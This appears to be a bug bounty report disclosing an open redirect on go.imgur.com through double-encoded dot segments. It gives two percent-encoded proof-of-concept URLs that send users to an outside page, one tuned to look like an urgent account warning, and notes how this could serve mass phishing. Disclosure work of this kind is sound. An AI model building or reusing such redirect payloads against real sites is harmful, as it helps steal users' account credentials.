Phishing
Right now the **go.imgur.com** domain is pointing to `godoc.org/go.imgur.com` but there is nothing at this resource. It is possible with encoded double dots to redirect **go.imgur.com** URLs to pages that phish for imgur account information. Proof of Concept === PoC 1: ### `http://go.imgur.com/account-verification/%252e%252e%2f%252e%252e%2f%67%69%74%68%75%62%2e%63%6f%6d%2f%6b%69%79%65%6c%6c%2f%70%71` In this example the URL is customized to appear more legitimate. Resulting page: F322182 PoC 2: ### `http://go.imgur.com/account-verification/%252e%252e%2f%252e%252e%2f%67%69%74%68%75%62%2e%63%6f%6d%2f%6b%69%79%65%6c%6c%2f%70%71%23%68%64%72%2d%57%41%52%4e%49%4e%47%5f%5f%5f%49%4d%50%4f%52%54%41%4e%54%5f%41%43%43%4f%55%4e%54%5f%49%4e%46%4f%52%4d%41%54%49%4f%4e` In this longer example, code was added that adds emphasis to the phishing message. Resulting page: F322181 ## Impact An attacker could mass email users for their account information or could use this vulnerability as part of another type of social engineering campaign against Imgur partners and customers.
